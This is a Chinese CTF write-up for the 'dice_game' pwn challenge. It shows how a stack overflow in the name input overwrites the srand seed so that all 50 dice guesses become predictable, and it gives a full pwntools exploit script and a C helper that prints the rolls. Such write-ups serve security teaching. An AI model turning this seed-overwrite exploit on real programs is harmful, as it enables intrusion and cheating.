1.题目
运行如下:
运行结果
可知,这是一个猜测随机数的程序,需要猜中50次。
检查保护如下:
程序保护
除了Canary之外都开了,估计便是栈溢出。
程序信息如下:
程序信息
64bit程序,动态链接。
2.程序分析(IDA)
使用IDA打开程序
main函数伪代码
该程序首先让输入name,并且使用read来读入数据,故而此处存在栈溢出漏洞。下方看见程序使用seed、srand生成随机数。当我们猜对50次随机数时程序会调用sub_B28函数,从而得到flag.
sub_B28函数
现在来捋清思路。
获取flag<—调用sub_B28函数<—猜对50次随机数<—seed、srand生成随机数<—控制seed便可使生成的随机数固定<—通过栈溢出漏洞控制seed<–寻找buf与seed的偏移距离
寻找偏移:
栈情况
可以看到buf距离ebp的距离是0x50,seed距离ebp的距离是0x10,故buf与seed的偏移为0x50-0x10=0x40
脑补 payload = ‘x’*0x40 + seed
写一个seed为6的c程序,输出50个随机数如下:
随机数
需要的东西都有了,完整exp如下:
# -*- coding: UTF-8 -*-
from pwn import *
p = process("../dice_game")
#p = remote("111.198.29.45", 49679)
li = [4,2,5,6,3,6,5,4,5,5,6,2,4,6,5,3,1,1,4,5,4,3,5,1,6,6,1,5,6,4,2,1,3,4,1,6,1,3,1,6,6,1,5,1,4,3,4,5,4,1]
payload = 'x' * 0x40 + p64(6)
print payload
print p.recv()
p.sendline(payload)
x = 1
for i in li :
print "当前为第" + str(x) + "回合"
if x > 50 :
break
p.recvuntil("point(1~6): ")
p.sendline(str(i))
x += 1
print p.recvall()
生成随机数的c程序如下:
#include <stdio.h>
#include <stdlib.h>
int main(){
int s,i;
srand(6);
for(i = 0;i<50;i++){
s = rand()%6+1;
printf("%d,",s);
}
return 0;
}
exp运行结果如下:
exp运行结果